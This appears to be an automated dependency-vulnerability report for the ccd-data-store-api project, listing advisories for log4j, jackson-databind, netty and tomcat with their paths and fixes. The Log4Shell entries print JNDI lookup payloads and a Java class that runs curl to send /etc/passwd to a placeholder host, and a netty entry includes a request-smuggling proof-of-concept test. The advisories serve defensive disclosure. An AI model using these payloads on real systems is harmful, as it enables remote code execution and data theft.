Vulnerabilities

86 via 528 paths

Dependencies

275

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 86
  • 11
Severity
  • 8
  • 48
  • 35
  • 6
Status
  • 97
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

PoC

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

  • Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
  • Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)


Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.8.2 or higher.

References

critical severity
new

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.15.4, co.elastic.clients:elasticsearch-java@9.2.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.4.3.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign:feign-jackson@13.6 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to io.github.openfeign:feign-jackson@13.13.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.jsonwebtoken:jjwt-jackson@0.13.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.21.1 com.fasterxml.jackson.core:jackson-databind@2.15.4

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the DatabindContext._resolveAndValidateGeneric() method, which validates only the raw container class of a type identifier against the configured PolymorphicTypeValidator and not its nested generic type arguments. An attacker who controls the type identifier can instantiate a denied class, and reach unauthenticated remote code execution through an available gadget, by embedding that class as a generic parameter of an allowlisted container such as java.util.ArrayList<com.evil.Gadget>, which passes validation while the nested type is loaded, instantiated, and populated with attacker-controlled values. Exploitation requires polymorphic type validation to be enabled with a configured validator, the application to deserialize untrusted JSON, and a suitable gadget class on the classpath.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4 or higher.

References

critical severity
new

Incomplete List of Disallowed Inputs

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.15.4, co.elastic.clients:elasticsearch-java@9.2.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.4.3.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign:feign-jackson@13.6 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to io.github.openfeign:feign-jackson@13.13.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.jsonwebtoken:jjwt-jackson@0.13.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.21.1 com.fasterxml.jackson.core:jackson-databind@2.15.4

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() method, which allowlists an array based only on clazz.isArray() and does not validate the array's component type. An attacker who controls the deserialized JSON can instantiate types outside the configured allowlist by wrapping them in an array, because array elements without per-element type identifiers are constructed directly with no further validator check.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4 or higher.

References

critical severity

Incorrect Comparison

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Incorrect Comparison in the IpSubnetFilterRule.compareTo() function. An attacker can gain unauthorized access by bypassing IPv6 subnet restrictions through incorrect masking of IP addresses.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

critical severity
new

Deserialization of Untrusted Data

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the DatabindContext._resolveAndValidateGeneric() method, which validates only the raw container class of a type identifier against the configured PolymorphicTypeValidator and not its nested generic type arguments. An attacker who controls the type identifier can instantiate a denied class, and reach unauthenticated remote code execution through an available gadget, by embedding that class as a generic parameter of an allowlisted container such as java.util.ArrayList<com.evil.Gadget>, which passes validation while the nested type is loaded, instantiated, and populated with attacker-controlled values. Exploitation requires polymorphic type validation to be enabled with a configured validator, the application to deserialize untrusted JSON, and a suitable gadget class on the classpath.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

critical severity
new

Incomplete List of Disallowed Inputs

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() method, which allowlists an array based only on clazz.isArray() and does not validate the array's component type. An attacker who controls the deserialized JSON can instantiate types outside the configured allowlist by wrapping them in an array, because array elements without per-element type identifiers are constructed directly with no further validator check.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

  1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
  2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
  3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity
new

Improper Authentication

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.22 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Authentication in the EncryptionInterceptor process of the cluster component. An attacker can gain unauthorized access or perform unauthorized actions by replaying previously captured authentication data.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.119, 10.1.56, 11.0.23 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.15.4, com.fasterxml.jackson.core:jackson-databind@2.15.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.6.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.6.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.auth0:java-jwt@4.5.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.auth0:java-jwt@4.5.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign:feign-jackson@13.6 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to io.github.openfeign:feign-jackson@13.9.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.jsonwebtoken:jjwt-jackson@0.13.0 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.21.1 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

